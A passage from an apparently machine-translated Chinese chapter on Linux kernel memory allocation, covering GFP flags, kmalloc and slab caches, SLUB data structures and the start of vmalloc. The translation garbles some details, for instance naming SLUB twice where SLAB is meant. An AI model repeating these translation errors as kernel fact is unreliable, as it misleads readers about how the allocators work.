gfp_t)___GFP_HIGHMEM) -#define __GFP_DMA32 ((__force gfp_t)___GFP_DMA32) -#define __GFP_MOVABLE ((__force gfp_t)___GFP_MOVABLE) /* ZONE_MOVABLE allowed */ -``` - -# 页面移动和放置 - -下面的代码片断定义了页面移动和放置标志: - -```sh -#define __GFP_RECLAIMABLE ((__force gfp_t)___GFP_RECLAIMABLE) -#define __GFP_WRITE ((__force gfp_t)___GFP_WRITE) -#define __GFP_HARDWALL ((__force gfp_t)___GFP_HARDWALL) -#define __GFP_THISNODE ((__force gfp_t)___GFP_THISNODE) -#define __GFP_ACCOUNT ((__force gfp_t)___GFP_ACCOUNT) -``` - -以下是页面移动和放置标志的列表: - -* **`__GFP_RECLAIMABLE`**:大多数内核子系统设计为使用*内存缓存*来缓存经常需要的资源,如数据结构、内存块、持久文件数据等。 内存管理器维护这样的高速缓存,并允许它们按需动态扩展。 但是,不能允许这样的缓存无限扩展,否则它们最终会消耗所有内存。 内存管理器通过**收缩器**接口处理此问题,内存管理器可以通过该机制收缩缓存,并在需要时回收页面。 在分配页(用于高速缓存)时启用该标志是对缩缩器的指示,表明该页是*可回收的。* 该标志由片分配器使用,这将在后面的小节中讨论。 -* **`__GFP_WRITE`**:当使用此标志时,它向内核指示调用者打算弄脏页面。 存储器管理器根据公平区域分配策略分配适当的页面,该策略在节点的本地*区域*上循环分配这样的页面,以避免所有脏页都在一个*区域*中。 -* `__GFP_HARDWALL`:此标志确保在调用方绑定到的同一个或多个节点上执行分配;换句话说,它强制执行 CPUSET 内存分配策略。 -* **`__GFP_THISNODE`**:此标志强制从请求的节点满足分配,而不执行后备或放置策略。 -* `__GFP_ACCOUNT`:此标志使分配计入 kmem 控制组。 - -# 水印修饰符 - -以下代码片断定义了水印修饰符: - -```sh -#define __GFP_ATOMIC ((__force gfp_t)___GFP_ATOMIC) -#define __GFP_HIGH ((__force gfp_t)___GFP_HIGH) -#define __GFP_MEMALLOC ((__force gfp_t)___GFP_MEMALLOC) -#define __GFP_NOMEMALLOC ((__force gfp_t)___GFP_NOMEMALLOC) -``` - -以下是提供对紧急保留内存池的控制的水印修改器列表: - -* **`__GFP_ATOMIC`**:此标志指示分配优先级高,调用方上下文无法进入等待状态。 -* **`__GFP_HIGH`**:此标志表示调用者优先级高,系统需要批准分配请求才能取得进展。 设置此标志将导致分配器访问应急池。 -* **`__GFP_MEMALLOC`**:此标志允许访问所有内存。 这应该仅在调用方保证分配将允许很快释放更多内存时使用,例如,进程退出或交换。 -* **`__GFP_NOMEMALLOC`**:该标志用于禁止访问所有预留的应急池。 - -# 页面回收修饰符 - -随着系统负载的增加,*区域*中的空闲内存量可能会低于*低水位线*,从而导致内存紧缩,这将严重影响系统的整体性能*。* 为了处理这种情况,存储器管理器配备了**页回收算法**,它们被实现来识别和回收页。 内核内存分配器例程,在使用称为**页面回收修饰符**的适当 GFP 常量调用时,使用回收算法: - -```sh -#define __GFP_IO ((__force gfp_t)___GFP_IO) -#define __GFP_FS ((__force gfp_t)___GFP_FS) -#define __GFP_DIRECT_RECLAIM ((__force gfp_t)___GFP_DIRECT_RECLAIM) /* Caller can reclaim */ -#define __GFP_KSWAPD_RECLAIM ((__force gfp_t)___GFP_KSWAPD_RECLAIM) /* kswapd can wake */ -#define __GFP_RECLAIM ((__force gfp_t)(___GFP_DIRECT_RECLAIM|___GFP_KSWAPD_RECLAIM)) -#define __GFP_REPEAT ((__force gfp_t)___GFP_REPEAT) -#define __GFP_NOFAIL ((__force gfp_t)___GFP_NOFAIL) -#define __GFP_NORETRY ((__force gfp_t)___GFP_NORETRY) -``` - -以下是可以作为参数传递给分配例程的回收修饰符的列表;每个标志都启用对特定内存区域的回收操作: - -* **`__GFP_IO`**:此标志指示分配器可以启动物理 I/O(交换)来回收内存。 -* `__GFP_FS`:此标志表示分配器可以向下调用低级别 FS 进行回收。 -* **`__GFP_DIRECT_RECLAIM`**:此标志表示调用者愿意进入直接回收。 这可能会导致调用方阻塞。 -* **`__GFP_KSWAPD_RECLAIM`**:此标志指示当达到低水位线时,分配器可以唤醒`kswapd`内核线程以启动回收。 -* **`__GFP_RECLAIM`**:该标志用于启用直接回收和`kswapd`回收。 -* **`__GFP_REPEAT`**:此标志指示尝试分配内存,但分配尝试可能会失败。 -* **`__GFP_NOFAIL`**:此标志强制虚拟内存管理器*重试*,直到分配请求。 成功了。 这可能会导致 VM 触发 OOM 杀手回收内存。 -* `__GFP_NORETRY`:此标志将使分配器在无法处理请求时返回相应的失败状态。 - -# 动作修饰符 - -下面的代码片断定义了操作修饰符: - -```sh -#define __GFP_COLD ((__force gfp_t)___GFP_COLD) -#define __GFP_NOWARN ((__force gfp_t)___GFP_NOWARN) -#define __GFP_COMP ((__force gfp_t)___GFP_COMP) -#define __GFP_ZERO ((__force gfp_t)___GFP_ZERO) -#define __GFP_NOTRACK ((__force gfp_t)___GFP_NOTRACK) -#define __GFP_NOTRACK_FALSE_POSITIVE (__GFP_NOTRACK) -#define __GFP_OTHER_NODE ((__force gfp_t)___GFP_OTHER_NODE) -``` - -以下是操作修改器标志的列表;这些标志指定分配器例程在处理请求时要考虑的其他属性: - -* **`__GFP_COLD`**:为了实现快速访问,将每个*区域*中的几个页面缓存到每个 CPU 缓存中;缓存中保存的页面称为**HOT**,未缓存的页面称为**COLD。** 此标志指示分配器应通过缓存冷页服务内存请求。 -* **`__GFP_NOWARN`**:此标志使分配器在静默模式下运行,从而导致不报告警告和错误条件。 -* **`__GFP_COMP`**:该标志用于分配具有适当元数据的复合页。 复合页面是由两个或多个物理上连续的页面组成的组,它们被视为单个大页面。 元数据使复合页面有别于其他物理上连续的页面。 复合页的第一个物理页称为**头页**,其页描述符中设置了`PG_head`标志,其余页称为**尾页**。 -* **`__GFP_ZERO`**:此标志使分配器返回填充为零的页。 -* **`__GFP_NOTRACK`**:kmemcheck 是内核内调试器之一,用于检测和警告未初始化的内存访问。 尽管如此,这样的检查会导致存储器访问操作延迟。 当性能是一个标准时,调用方可能希望分配 kmemcheck 不跟踪的内存。 此标志使分配器返回此类内存。 -* **`__GFP_NOTRACK_FALSE_POSITIVE`**:该标志是**`__GFP_NOTRACK`**的别名。 -* `__GFP_OTHER_NODE`:该标志用于透明巨型页面(THP)的分配。 - -# 类型标志 - -由于修饰符标志的类别如此之多(每种类型都针对不同的属性),程序员在为相应的分配选择标志时会格外小心。 为了使这一过程更容易、更快,引入了类型标志,使程序员能够快速做出分配选择。 **类型标志**派生自特定分配用例的各种修改器常量(前面列出)的组合。 但是,如果需要,程序员可以进一步自定义类型标志: - -```sh -#define GFP_ATOMIC (__GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM) -#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS) -#define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT) -#define GFP_NOWAIT (__GFP_KSWAPD_RECLAIM) -#define GFP_NOIO (__GFP_RECLAIM) -#define GFP_NOFS (__GFP_RECLAIM | __GFP_IO) -#define GFP_TEMPORARY (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_RECLAIMABLE) -#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL) -#define GFP_DMA __GFP_DMA -#define GFP_DMA32 __GFP_DMA32 -#define GFP_HIGHUSER (GFP_USER | __GFP_HIGHMEM) -#define GFP_HIGHUSER_MOVABLE (GFP_HIGHUSER | __GFP_MOVABLE) -#define GFP_TRANSHUGE_LIGHT ((GFP_HIGHUSER_MOVABLE | __GFP_COMP | __GFP_NOMEMALLOC | \ __GFP_NOWARN) & ~__GFP_RECLAIM) -#define GFP_TRANSHUGE (GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM) -``` - -以下是类型标志列表: - -* **`GFP_ATOMIC`**:此标志是为不会失败的非阻塞分配指定的。 此标志将从应急储备中进行分配。 这通常在从原子上下文调用分配器时使用。 -* **`GFP_KERNEL`**:在分配内核使用的内存时使用此标志。 这些请求是从普通*区域*处理的。 此标志可能会使分配器进入直接回收。 -* **`GFP_KERNEL_ACCOUNT`**:与`GFP_KERNEL`相同,但增加了由 kmem 控制组**跟踪分配。** -* `GFP_NOWAIT`:此标志用于非阻塞的内核分配。 -* `GFP_NOIO`:此标志允许分配器在不需要物理 I/O(交换)的干净页面上开始直接回收。 -* `GFP_NOFS`:此标志允许分配器开始直接回收,但阻止调用文件系统接口。 -* **`GFP_TEMPORARY`**:在为内核缓存分配页面时使用此标志,这些页面可通过适当的缩减器接口回收。 该标志设置我们前面讨论的`__GFP_RECLAIMABLE`标志。 -* **`GFP_USER`**:该标志用于用户空间分配。 分配的内存映射到用户进程,也可以由内核服务或硬件访问,以便将 DMA 从设备传输到缓冲区,反之亦然。 -* **`GFP_DMA`**:此标志导致从最低的*区域*(称为`ZONE_DMA`)进行分配。 为了向后兼容,仍支持此标志。 -* `GFP_DMA32`:此标志导致从`ZONE_DMA32`处理分配,`ZONE_DMA32`包含<4G 内存中的页面。 -* `GFP_HIGHUSER`:此标志用于从**`ZONE_HIGHMEM`**分配用户空间(仅与 32 位平台相关)。 -* `GFP_HIGHUSER_MOVABLE`:此标志类似于`GFP_HIGHUSER`,但增加了从可移动页面执行分配,从而实现页面迁移和回收。 -* **`GFP_TRANSHUGE_LIGHT`**:这会导致透明巨大分配(THP)的分配,这是复合分配。 此类型标志设置`__GFP_COMP`,我们在前面讨论过。 - -# 板坯分配器 - -正如前面几节所讨论的,页面分配器(与伙伴系统协作)有效地处理页面大小倍数的内存分配请求。 然而,内核代码内部使用的大多数分配请求都是针对较小的块(通常小于一页);使用页面分配器进行此类分配会导致*内部碎片,*导致内存浪费。 片分配器正是为解决这一问题而实现的;它构建在伙伴系统之上,用于分配较小的内存块,以保存内核服务使用的结构对象或数据。 - -片分配器的设计基于*对象**缓存****的思想。*** **对象缓存**的概念非常简单:它包括保留一组空闲页帧,将它们划分和组织成称为**片缓存**的独立空闲列表(每个列表包含几个空闲页面),并使用每个列表分配固定大小的对象池或内存块,称为**单元**。 这样,每个列表都被分配了唯一的*单元*大小,并且将包含该大小的对象池或内存块。 当对给定大小的存储器块的分配请求到达时,分配器算法选择其*单元*大小最适合于所请求的大小的适当的*片高速缓存*,并返回空闲块的地址。 - -然而,在较低的级别上,在片缓存的初始化和管理方面涉及到相当复杂的问题。 该算法需要考虑目标跟踪、动态扩展、通过缩放器接口进行安全回收等各种问题。 解决所有这些问题并在增强的性能和最佳的内存占用之间实现适当的平衡是一个相当大的挑战。 我们将在后续小节中更多地探讨这些挑战,但现在我们将继续讨论分配器函数接口。 - -# Kmalloc 缓存 - -片分配器维护一组通用片高速缓存,用于以 8 的倍数缓存*单元*大小的内存块。它为每个*单元*大小维护两组片高速缓存,一组用于维护从`ZONE_NORMAL`页分配的内存块池,另一组用于维护从`ZONE_DMA`页分配的内存块池。 这些缓存是全局的,由所有内核代码共享。 用户可以通过特殊文件`/proc/slabinfo`*跟踪这些缓存的状态。* 内核服务可以通过`kmalloc`系列例程*从这些缓存分配和释放内存块。* 它们称为`kmalloc`缓存: - -```sh -#cat /proc/slabinfo -slabinfo - version: 2.1 -# name : tunables : slabdata dma-kmalloc-8192 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-4096 0 0 4096 8 8 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-2048 0 0 2048 16 8 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-1024 0 0 1024 16 4 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-512 0 0 512 16 2 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-256 0 0 256 16 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-128 0 0 128 32 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-64 0 0 64 64 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-32 0 0 32 128 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-16 0 0 16 256 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-8 0 0 8 512 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-192 0 0 192 21 1 : tunables 0 0 0 : slabdata 0 0 0 -dma-kmalloc-96 0 0 96 42 1 : tunables 0 0 0 : slabdata 0 0 0 -kmalloc-8192 156 156 8192 4 8 : tunables 0 0 0 : slabdata 39 39 0 -kmalloc-4096 325 352 4096 8 8 : tunables 0 0 0 : slabdata 44 44 0 -kmalloc-2048 1105 1184 2048 16 8 : tunables 0 0 0 : slabdata 74 74 0 -kmalloc-1024 2374 2448 1024 16 4 : tunables 0 0 0 : slabdata 153 153 0 -kmalloc-512 1445 1520 512 16 2 : tunables 0 0 0 : slabdata 95 95 0 -kmalloc-256 9988 10400 256 16 1 : tunables 0 0 0 : slabdata 650 650 0 -kmalloc-192 3561 4053 192 21 1 : tunables 0 0 0 : slabdata 193 193 0 -kmalloc-128 3588 5728 128 32 1 : tunables 0 0 0 : slabdata 179 179 0 -kmalloc-96 3402 3402 96 42 1 : tunables 0 0 0 : slabdata 81 81 0 -kmalloc-64 42672 45184 64 64 1 : tunables 0 0 0 : slabdata 706 706 0 -kmalloc-32 15095 16000 32 128 1 : tunables 0 0 0 : slabdata 125 125 0 -kmalloc-16 6400 6400 16 256 1 : tunables 0 0 0 : slabdata 25 25 0 -kmalloc-8 6144 6144 8 512 1 : tunables 0 0 0 : slabdata 12 12 0 -``` - -`kmalloc-96`和`kmalloc-192`是用于维护与 1 级硬件高速缓存对齐的内存块的高速缓存。 对于超过 8k(大块)的分配,片分配器依赖于伙伴系统。 -以下是 kmalloc 系列分配器例程;所有这些都需要适当的 GFP 标志: - -```sh -/** - * kmalloc - allocate memory. - * @size: bytes of memory required. - * @flags: the type of memory to allocate. - */ - void *kmalloc(size_t size, gfp_t flags) /** - * kzalloc - allocate memory. The memory is set to zero. - * @size: bytes of memory required. - * @flags: the type of memory to allocate. - */ - inline void *kzalloc(size_t size, gfp_t flags) /** - * kmalloc_array - allocate memory for an array. - * @n: number of elements. - * @size: element size. - * @flags: the type of memory to allocate (see kmalloc). - */ - inline void *kmalloc_array(size_t n, size_t size, gfp_t flags) /** - * kcalloc - allocate memory for an array. The memory is set to zero. - * @n: number of elements. - * @size: element size. - * @flags: the type of memory to allocate (see kmalloc). - */ inline void *kcalloc(size_t n, size_t size, gfp_t flags) /** - * krealloc - reallocate memory. The contents will remain unchanged. - * @p: object to reallocate memory for. - * @new_size: bytes of memory are required. - * @flags: the type of memory to allocate. - * - * The contents of the object pointed to are preserved up to the - * lesser of the new and old sizes. If @p is %NULL, krealloc() - * behaves exactly like kmalloc(). If @new_size is 0 and @p is not a - * %NULL pointer, the object pointed to is freed - */ - void *krealloc(const void *p, size_t new_size, gfp_t flags) /** - * kmalloc_node - allocate memory from a particular memory node. - * @size: bytes of memory are required. - * @flags: the type of memory to allocate. - * @node: memory node from which to allocate - */ void *kmalloc_node(size_t size, gfp_t flags, int node) /** - * kzalloc_node - allocate zeroed memory from a particular memory node. - * @size: how many bytes of memory are required. - * @flags: the type of memory to allocate (see kmalloc). - * @node: memory node from which to allocate - */ void *kzalloc_node(size_t size, gfp_t flags, int node) -``` - -以下例程将分配的块返回到空闲池。 调用方需要确保作为参数传递的地址属于有效的已分配块: - -```sh -/** - * kfree - free previously allocated memory - * @objp: pointer returned by kmalloc. - * - * If @objp is NULL, no operation is performed. - * - * Don't free memory not originally allocated by kmalloc() - * or you will run into trouble. - */ -void kfree(const void *objp) /** - * kzfree - like kfree but zero memory - * @p: object to free memory of - * - * The memory of the object @p points to is zeroed before freed. - * If @p is %NULL, kzfree() does nothing. - * - * Note: this function zeroes the whole allocated buffer which can be a good - * deal bigger than the requested buffer size passed to kmalloc(). So be - * careful when using this function in performance sensitive code. - */ void kzfree(const void *p) -``` - -# 对象缓存 - -片分配器提供用于设置片缓存的函数接口,片缓存可以由内核服务或子系统拥有。 这样的缓存被认为是私有的,因为它们是内核服务(或内核子系统)(如设备驱动程序、文件系统、进程调度程序等)的本地缓存。 大多数内核子系统都使用此工具来设置对象缓存,并将间歇性需要的数据结构放入池中。 到目前为止,我们遇到的大多数数据结构(从[第 1 章](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f)、*理解进程、地址空间和线程*开始),包括进程描述符、信号描述符、页面描述符等等,都是在这样的对象池中维护的。 伪文件`/proc/slabinfo`显示对象缓存的状态: - -```sh -# cat /proc/slabinfo -slabinfo - version: 2.1 -# name : tunables : slabdata -sigqueue 100 100 160 25 1 : tunables 0 0 0 : slabdata 4 4 0 -bdev_cache 76 76 832 19 4 : tunables 0 0 0 : slabdata 4 4 0 -kernfs_node_cache 28594 28594 120 34 1 : tunables 0 0 0 : slabdata 841 841 0 -mnt_cache 489 588 384 21 2 : tunables 0 0 0 : slabdata 28 28 0 -inode_cache 15932 15932 568 28 4 : tunables 0 0 0 : slabdata 569 569 0 -dentry 89541 89817 192 21 1 : tunables 0 0 0 : slabdata 4277 4277 0 -iint_cache 0 0 72 56 1 : tunables 0 0 0 : slabdata 0 0 0 -buffer_head 53079 53430 104 39 1 : tunables 0 0 0 : slabdata 1370 1370 0 -vm_area_struct 41287 42400 200 20 1 : tunables 0 0 0 : slabdata 2120 2120 0 -files_cache 207 207 704 23 4 : tunables 0 0 0 : slabdata 9 9 0 -signal_cache 420 420 1088 30 8 : tunables 0 0 0 : slabdata 14 14 0 -sighand_cache 289 315 2112 15 8 : tunables 0 0 0 : slabdata 21 21 0 -task_struct 750 801 3584 9 8 : tunables 0 0 0 : slabdata 89 89 0 -``` - -`*kmem_cache_create()*`例程根据传递的参数设置新的*缓存*。 如果成功,它会将地址返回到类型为`*kmem_cache*`的高速缓存描述符结构: - -```sh -/* - * kmem_cache_create - Create a cache. - * @name: A string which is used in /proc/slabinfo to identify this cache. - * @size: The size of objects to be created in this cache. - * @align: The required alignment for the objects. - * @flags: SLAB flags - * @ctor: A constructor for the objects. - * - * Returns a ptr to the cache on success, NULL on failure. - * Cannot be called within a interrupt, but can be interrupted. - * The @ctor is run when new pages are allocated by the cache. - * - */ -struct kmem_cache * kmem_cache_create(const char *name, size_t size, size_t align, - unsigned long flags, void (*ctor)(void *)) -``` - -*通过(从伙伴系统)分配空闲页帧来创建高速缓存*,并且填充指定的*大小*的数据对象(第二参数)。 虽然每个缓存在创建*期间都是通过托管固定数量的数据对象开始的,但*它们可以在需要容纳更多数量的数据对象时动态增长。 数据结构可能很复杂(我们已经遇到过一些),并且可以包含各种元素,如列表头、子对象、数组、原子计数器、位域等。 设置每个对象可能需要将其所有字段初始化为默认状态;这可以通过分配给`*ctor`函数指针(最后一个参数)的初始化器例程来实现。 无论是在缓存创建期间还是在缓存增长以添加更多空闲对象时,都会为分配的每个新对象调用初始化器。 但是,对于简单对象,可以在没有初始化式的情况下创建*缓存*。 - -以下是显示`kmem_cache_create()`用法的示例代码片段: - -```sh -/* net/core/skbuff.c */ - -struct kmem_cache *skbuff_head_cache; -skbuff_head_cache = kmem_cache_create("skbuff_head_cache",sizeof(struct sk_buff), 0, - SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); -``` - -标志用于启用调试检查,并通过将对象与硬件缓存对齐来增强对缓存的访问操作的性能。 支持以下标志常量: - -```sh - SLAB_CONSISTENCY_CHECKS /* DEBUG: Perform (expensive) checks o alloc/free */ - SLAB_RED_ZONE /* DEBUG: Red zone objs in a cache */ - SLAB_POISON /* DEBUG: Poison objects */ - SLAB_HWCACHE_ALIGN /* Align objs on cache lines */ - SLAB_CACHE_DMA /* Use GFP_DMA memory */ - SLAB_STORE_USER /* DEBUG: Store the last owner for bug hunting */ - SLAB_PANIC /* Panic if kmem_cache_create() fails */ - -``` - -随后,可以通过相关函数分配和释放*个对象*。 在释放时,*对象*被放回*高速缓存*的空闲列表中,使它们可供重用;这可能会提高性能,特别是当*对象*是热高速缓存时: - -```sh -/** - * kmem_cache_alloc - Allocate an object - * @cachep: The cache to allocate from. - * @flags: GFP mask. - * - * Allocate an object from this cache. The flags are only relevant - * if the cache has no available objects. - */ -void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags); - -/** - * kmem_cache_alloc_node - Allocate an object on the specified node - * @cachep: The cache to allocate from. - * @flags: GFP mask. - * @nodeid: node number of the target node. - * - * Identical to kmem_cache_alloc but it will allocate memory on the given - * node, which can improve the performance for cpu bound structures. - * - * Fallback to other node is possible if __GFP_THISNODE is not set. - */ -void *kmem_cache_alloc_node(struct kmem_cache *cachep, gfp_t flags, int nodeid); /** - * kmem_cache_free - Deallocate an object - * @cachep: The cache the allocation was from. - * @objp: The previously allocated object. - * - * Free an object which was previously allocated from this - * cache. - */ void kmem_cache_free(struct kmem_cache *cachep, void *objp); -``` - -当所有托管数据对象都是*空闲的*(未使用)*,*时,可以通过调用`kmem_cache_destroy().`来销毁 kmem 缓存 - -# 缓存管理 - -所有片缓存都由**片核心**在内部管理,这是一种低级算法。 它定义了描述每个**缓存列表**的物理布局的各种控制结构,并实现了由接口例程调用的核心缓存管理操作。 基于 Bonwick 的一篇论文,片分配器最初是在 Solaris2.4 内核中实现的,并被大多数其他*nix 内核使用。 - -传统上,Linux 用于内存适中的单处理器台式机和服务器系统,内核采用 Bonwick 的经典模型,并进行了适当的性能改进。 多年来,由于移植和使用 Linux 内核的平台不同,优先级不同,传统的 SLAB 核心算法实现效率很低,无法满足所有需求。 虽然内存受限的嵌入式平台无法承受较高的分配器占用空间(用于管理元数据和分配器操作密度的空间),但具有巨大内存的 SMP 系统需要一致的性能、可伸缩性和更好的机制来生成有关分配的跟踪和调试信息。 - -为了迎合这些不同的需求,内核的当前版本提供了三种截然不同的板条算法实现:**slob**,一个经典的 K&R 型列表分配器,专为内存不足的系统设计,在最初几年(1991-1999)是 Linux 的默认对象分配器;**slub**,一个自 1999 年以来一直在 Linux 中出现的经典 Solaris 风格的板条分配器;以及**slub**,经过改进。 大多数架构的默认内核配置启用**slub**作为默认板分配器;这可以在内核构建期间通过内核配置选项进行更改。 - -`CONFIG_SLAB`: The regular slab allocator that is established and known to work well in all environments. It organizes cache hot objects in per-CPU and per node queues. - -`CONFIG_SLUB`: **SLUB** is a slab allocator that minimizes cache line usage instead of managing queues of cached objects (SLAB approach). per-CPU caching is realized using slabs of objects instead of queues of objects. SLUB can use memory efficiently and has enhanced diagnostics. SLUB is the default choice for a slab allocator. - -`CONFIG_SLOB`: **SLOB** replaces the stock allocator with a drastically simpler allocator. SLOB is generally more space efficient but does not perform as well on large systems. - -无论选择哪种类型的分配器,编程接口都保持不变。 事实上,在较低级别,所有三个分配器都共享一些公共代码库: - -![](img/00027.jpeg) - -现在,我们将研究*高速缓存*的物理布局及其控制结构。 - -# 缓存布局-通用 - -每个高速缓存由高速缓存描述符结构`kmem_cache`表示;该结构包含高速缓存的所有关键元数据。 它包括一个板描述符列表,每个板描述符托管一个页面或一组页框*。* 片下的页面包含对象或内存块,它们是高速缓存的分配*单元*。 **片描述符**指向页面中包含的对象列表,并跟踪它们的状态。 根据它所承载的对象的状态,板可能处于三种可能的状态之一--已满、部分或空。 如果 s*Lab*的所有对象都*正在使用*,并且没有*个空闲的*个对象可供分配,则该 s*Lab*被视为*已满*。 *具有至少一个自由对象的板材*被认为处于*部分*状态,而具有所有对象处于*自由*状态的板材被认为是空的*。* - - *![](img/00028.jpeg) - -这种安排实现了对象的快速分配,因为分配器例程可以在*Partial*板中查找空闲对象,如果需要,还可以移动到*空的*板。 它还有助于使用新的页帧更轻松地扩展高速缓存以容纳更多对象(在需要时),并有助于安全快速地回收(可以回收*空*状态的存储片)。 - -# 辅助数据结构 - -了解了一般级别的缓存和描述符的布局之后,让我们进一步查看**slub**分配器使用的特定数据结构,并探索空闲列表的管理。 S**lub**在内核标头`/include/linux/slub-def.h`中定义其高速缓存描述符`struct kmem_cache`的版本: - -```sh -struct kmem_cache { - struct kmem_cache_cpu __percpu *cpu_slab; - /* Used for retriving partial slabs etc */ - unsigned long flags; - unsigned long min_partial; - int size; /* The size of an object including meta data */ - int object_size; /* The size of an object without meta data */ - int offset; /* Free pointer offset. */ - int cpu_partial; /* Number of per cpu partial objects to keep around */ - struct kmem_cache_order_objects oo; - - /* Allocation and freeing of slabs */ - struct kmem_cache_order_objects max; - struct kmem_cache_order_objects min; - gfp_t allocflags; /* gfp flags to use on each alloc */ - int refcount; /* Refcount for slab cache destroy */ - void (*ctor)(void *); - int inuse; /* Offset to metadata */ - int align; /* Alignment */ - int reserved; /* Reserved bytes at the end of slabs */ - const char *name; /* Name (only for display!) */ - struct list_head list; /* List of slab caches */ - int red_left_pad; /* Left redzone padding size */ - ... - ... - ... - struct kmem_cache_node *node[MAX_NUMNODES]; -}; -``` - -`list`元素引用一组片缓存。 当分配新的片时,它被存储在高速缓存描述符中的列表中,并且被认为是*空的,*,因为它的所有对象都是*空闲的*并且可用。 在分配对象时,板材变为*部分*状态。 部分片是分配器需要跟踪的唯一类型的片,并且在`kmem_cache`结构内的列表中连接。 **SLUB**分配器对跟踪对象已全部分配的*满*块,或对象为*空闲*的*空*块没有兴趣。 **SLUB**通过类型为`struct kmem_cache_node[MAX_NUMNODES]`的指针数组跟踪每个节点的部分切片,该指针数组封装了*部分*切片的列表: - -```sh -struct kmem_cache_node { - spinlock_t list_lock; - ... - ... -#ifdef CONFIG_SLUB - unsigned long nr_partial; - struct list_head partial; -#ifdef CONFIG_SLUB_DEBUG - atomic_long_t nr_slabs; - atomic_long_t total_objects; - struct list_head full; -#endif -#endif -}; -``` - -板中的所有*空闲*对象形成一个链表;当分配请求到达时,第一个空闲对象从列表中删除,其地址返回给调用方。 通过链接列表跟踪自由对象需要大量的元数据;传统的**板片**分配器在板头中维护板片的所有页面的元数据(导致数据对齐问题),而**SLUB**通过在页面描述符结构中塞入更多字段来维护板片中页面的每页元数据,从而从板头中删除元数据。 **页面描述符中的 SLUB**元数据元素仅当相应的页面是板条的一部分时才有效。 参与片分配的页面设置了`PG_slab`标志。 - -以下是与 SLUB 相关的页面描述符字段: - -```sh -struct page { - ... - ... - union { - pgoff_t index; /* Our offset within mapping. */ - void *freelist; /* sl[aou]b first free object */ - }; - ... - ... - struct { - union { - ... - struct { /* SLUB */ - unsigned inuse:16; - unsigned objects:15; - unsigned frozen:1; - }; - ... - }; - ... - }; - ... - ... - union { - ... - ... - struct kmem_cache *slab_cache; /* SL[AU]B: Pointer to slab */ - }; - ... - ... -}; -``` - -`freelist`指针指向列表中的第一个自由对象。 每个自由对象由一个元数据区域组成,该区域包含指向列表中下一个自由对象的指针。 `index`保存第一个自由对象的元数据区域的偏移量(包含指向下一个自由对象的指针)。 最后一个自由对象的元数据区域将包含设置为 NULL 的下一个自由对象指针。 `inuse`包含已分配对象的总数,`objects`包含对象总数。 `frozen`是用作页面锁定的标志:如果页面已被 CPU 内核冻结,则只有该内核可以从该页面检索空闲对象。 `slab_cache`是指向当前使用此页面的 kmem 缓存的指针: - -![](img/00029.jpeg) - -当分配请求到达时,第一个空闲对象通过`freelist`指针定位,并通过将其地址返回给调用者而从列表中删除。 `inuse`计数器也会递增,以指示已分配对象的数量增加。 然后,使用列表中下一个空闲对象的地址更新`freelist`指针。 - -为了实现增强的分配效率,为每个 CPU 分配了一个私有活动板列表,该列表包括针对每种对象类型的部分/空闲板列表。 这些片被称为 CPU 本地片,并由 struct`kmem_cache_cpu`跟踪: - -```sh -struct kmem_cache_cpu { - void **freelist; /* Pointer to next available object */ - unsigned long tid; /* Globally unique transaction id */ - struct page *page; /* The slab from which we are allocating */ - struct page *partial; /* Partially allocated frozen slabs */ - #ifdef CONFIG_SLUB_STATS - unsigned stat[NR_SLUB_STAT_ITEMS]; - #endif -}; -``` - -当分配请求到达时,分配器采用快速路径并查看每个 CPU 缓存的`freelist`,然后返回空闲对象。 这称为快速路径,因为分配是通过不需要锁争用的中断安全原子指令执行的。 当快速路径失败时,分配器采用慢速路径,并按顺序查看 CPU 缓存的`*page*`和`*partial*`列表。 如果没有找到空闲对象,则分配器移动到节点的*部分*列表中;此操作要求分配器争用适当的排除锁。 失败时,分配器从伙伴系统中获得一个新的板条。 从节点列表获取或从伙伴系统获取新的平板被认为是非常慢的路径,因为这两个操作都不是确定性的。 - -下图描述了辅助数据结构和空闲列表之间的关系: - -![](img/00030.jpeg) - -# Vmalloc - -页和片分配器都分配物理上连续的内存块,映射到连续的内核地址空间。 大多数情况下,内核服务和子系统更喜欢分配物理上连续的块,以利用缓存、地址转换和其他与性能相关的好处。 尽管如此,对非常大的块的分配请求可能会由于物理内存的碎片而失败,并且很少有情况需要分配大的块,例如支持动态加载模块、交换管理操作、大文件缓存等。 - -作为解决方案,内核提供了**vmalloc**,这是一个碎片化的内存分配器,它试图通过虚拟连续的地址空间连接物理上分散的内存区域来分配内存。 内核段内的一系列虚拟地址被保留用于 vmalloc 映射,称为 vmalloc 地址空间。 可以通过 vmalloc 接口映射的总内存取决于 vmalloc 地址空间的大小,该大小由特定于体系结构的内核宏`VMALLOC_START`和`VMALLOC_END`定义;对于 x86-64 系统,vmalloc 地址空间的总范围是惊人的 32 TB**。** 然而,另一方面,这个范围对于大多数 32 位体系结构来说太小了(只有 120MB)。 最近的内核版本使用 vmalloc 范围来设置虚拟映射的内核堆栈(仅限 x86-64),我们在第一章中讨论了这一点。 - -以下是 vmalloc 分配和释放的接口例程: - -```sh -/** - * vmalloc - allocate virtually contiguous memory - * @size: - allocation size - * Allocate enough pages to cover @size from the page level - * allocator and map them into contiguous kernel virtual space. - * - */ - void *vmalloc(unsigned long size) -/** - * vzalloc - allocate virtually contiguous memory with zero fill -1 * @size: allocation size - 